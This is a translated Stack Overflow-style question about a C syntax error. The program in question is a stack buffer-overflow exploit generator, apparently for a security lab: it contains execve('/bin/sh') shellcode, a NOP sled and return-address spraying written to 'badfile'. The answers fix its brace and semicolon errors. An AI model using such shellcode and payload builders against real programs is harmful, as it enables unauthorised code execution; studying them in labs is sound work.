简单错误:输入结束时的预期声明或语句

时间:2013-09-18 18:31:06

标签: c

当我尝试编译以下代码时,我不断收到错误:输入结束时的预期声明或语句。我意识到这通常是因为错过了一个支架,但我似乎无法找到它。我希望另一双眼睛可以发现我一直盯着它看的错误。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350 

char shellcode[]=
"\x31\xc0"              /* xorl    %eax,%eax              */
"\x50"                  /* pushl   %eax                   */
"\x68""//sh"            /* pushl   $0x68732f2f            */
"\x68""/bin"            /* pushl   $0x6e69622f            */
"\x89\xe3"              /* movl    %esp,%ebx              */
"\x50"                  /* pushl   %eax                   */
"\x53"                  /* pushl   %ebx                   */
"\x89\xe1"              /* movl    %esp,%ecx              */
"\x99"                  /* cdql                           */
"\xb0\x0b"              /* movb    $0x0b,%al              */    
"\xcd\x80"              /* int     $0x80                  */

unsigned long get_sp(void)
{
    __asm__("movl %esp,%eax");
}

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    char *ptr;
    long *a_ptr,ret;

    int offset = DEFAULT_OFFSET;
    int codeSize = sizeof(shellcode);
    int buffSize = sizeof(buffer);

    if(argc > 1) offset = atoi(argv[1]); //allows for command line input

    ptr=buffer;
    a_ptr = (long *) ptr;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(buffer, 0x90, buffSize);

    ret = get_sp()+offset;
    printf("Return Address: 0x%x\n",get_sp());
    printf("Address: 0x%x\n",ret);

    ptr = buffer;
    a_ptr = (long *) ptr;

    int i;
    for (i = 0; i < 300;i+=4)
    {
        *(a_ptr++) = ret;
    }

    for(i = 486;i < codeSize + 486;++i)
    {
        buffer[i] = shellcode[i-486];
    {
    buffer[buffSize - 1] = '\0';    

/* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer,517,1,badfile);
    fclose(badfile);    
}

3 个答案:

答案 0 :(得分:7)

问题在于此代码段

for(i = 486;i < codeSize + 486;++i)
{
    buffer[i] = shellcode[i-486];
{                                 // Here is the problem
buffer[buffSize - 1] = '\0';  

将上次{更改为}

答案 1 :(得分:3)

在初始化shellcode数组后,您忘记了终止分号。

答案 2 :(得分:2)

这个解决方案没有直接回答这个问题,抱歉。但它好得多=)

好的,解决方案是使用IDE。见:

(显然,大多数C ++ IDE都支持C)

试试其中一些,选择你喜欢的,你永远不需要问SO-guys来修复语法错误(他们很快就会为此烦恼)。

我最喜欢的是Visual Studio + Visual Assist,关于代码输入,没有任何IDE甚至关闭。但它只是Windows和蹩脚的cl.exe或英特尔编译器=((

对于Linux,在我看来,KDevelop在所有Linux IDE中都有最好的代码打字助手。

快乐的编码!